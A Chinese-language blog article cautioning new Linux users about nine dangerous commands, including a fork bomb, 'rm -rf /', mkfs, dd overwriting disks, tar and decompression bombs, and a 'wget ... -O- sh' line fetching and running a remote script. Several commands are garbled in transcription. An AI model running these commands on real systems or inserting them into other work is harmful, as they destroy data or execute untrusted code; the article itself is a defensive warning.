9 個使用前必須再三小心的 Linux 命令

9 個使用前必須再三小心的 Linux 命令

 

Linux Shell/terminal 命令非常強大即使一個簡單的命令就可能導致文件夾、文件或者路徑文件夾等被刪除。兄弟連小編在此爲各位新手朋友整理了一些需要注意的Linux命令。

在一些情況下Linux 甚至不會詢問你而直接執行命令導致你丟失各種數據信息。

一般來說在 Web 上推薦新的 Linux 用戶執行這些命令當然也有人哪些寫過這代碼的人不這麼想因爲這玩意你一寫下去就不是玩笑了。

這裏我收集了一些對系統有危害的 Linux 代碼幫助你避免他們。請記住這些代碼非常危險甚至可以經過修改變得更加有危害性。

還有一些事情需要注意一些命令只在 Ubuntu 中有 sudo 前綴時是有危害的。其他發行版本的 Linux則是在作爲根目錄命令時會有危害。

1. Linux Fork Bomb Command

: (){ :: & };: 以 Fork Bomb 聞名是一個拒絕服務***的 Linux 系統。: (){ :: & };: 是一個 bash 函數。只要被執行他會不斷重複直到系統被凍結。

你只能重啓系統解決這個問題。所以當你在 Linux 界面執行這個命令時一定要注意。

 

2. Mv Folder/Dev/Null Command

mv folder/dev/null 也是一個危險的命令。Dev/null 或者 null device 是一個刪除所有寫在這個設備文件上數據的設備文件但是該操作提示卻是寫入操作執行成功。這就是我們常說的 bit bucked 或者 black hole。

 

3. Rm -Rf Command

rm -rf命令在 Linux 系統中可以快速刪除文件夾及其內容。如果你不知道如何正確使用它你就只有哭了。

列下m-rf 命令最常見的組合和選擇

rm command 刪除 Linux 系統的文件

rm -f command不需提示刪除文件中的只讀文件

rm -r command 循環刪除文件夾的內容

rm -d command 刪除空目錄如果非空目錄則不會執行該操作

rm -rf/ command強制刪除根目錄中的所有內容和子文件夾包括寫保護文件命令。

rm -rf* command 強制刪除當前目錄中的所有內容當前工作目錄和字文件夾

rm -rf. command強制刪除當前文件夾目錄/子目錄中的所有內容 。同 rm -r.[^.]*

The rm -r.[^.]* command 刪除文件及文件夾帶有刪除提示

 

4. Mkfs Command

如果你不知 mkfs 的作用那麼它也是一個危險的命令mkfs 之後寫的任何命令都將會被一個空白的 linux 文件系統格式化、替代。

下面列舉出需要管理員權限格式化硬盤的命令

mkfs

mkfs.ext3

mkfs.bfs

mkfs.ext2

mkfs.minix

mkfs.msdos mkfs.reiserfs

mkfs.vfat

mkfs.cramfs 也可以和上面的代碼做同樣的事情不過不需要管理源權限。

 

5. Tar Bomb

tar 命令用於將多個文件以 .tar 格式放入一個文件中存檔文件。Tape Archive (Tar) bomb 可以由他創建。

當爲壓縮時就是這個存檔文件生成數以萬計的相似名稱文件出現在當前目錄中而不是新目錄。

當收到 tar 文件定期創建一個新的保護目錄然後在解壓前將接受的 tar 文件放到這個目錄中你可以避免成爲 tar bomb 的受害者。

 

6. Dd Command

Dd命令用於複製&改變硬盤分區。如果你用錯地方了那麼也很危險。

下面列舉 dd 命令

dd if=/dev/hda of=/dev/hdb

dd if=/dev/hda of=/dev/sdb

dd if=something of=/dev/hda

dd if=something of=/dev/sda

下面這個命令會將整個主硬盤清零dd if=/dev/zero of=/dev/had

 

7. Shell Script Code

有時候你可能會被人坑給你一個 shell 腳本文件讓你去下載並執行它。該腳本可能會包含一些惡意的或危險的代碼。命令形式可能會是這樣wget http://some_malicious_source -O- sh。 wget 將會在 sh 狹隘腳本時下載腳本。

 

8. Malicious Source Code

也許有人會給你源代碼讓你編譯他。代碼可能是正常代碼不過有一些惡意代碼僞裝在大型源代碼中如果是這樣你的系統就中槍了。如何避免僅接受並編譯可信賴來源的源代碼。

 

9. Decompression Bomb

你已經收到一個壓縮文件你被要求提取這個看起來很小的文件可能小到 KB。事實上該小尺寸的壓縮文件包含高度壓縮數據。

只要文件解壓上百 GB 數據會被提取這時候過大的數據填滿硬盤導致宕機機率就很大了。如何避免還是那句老話別手賤什麼文件都去接收請接收可信任來源文件。


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章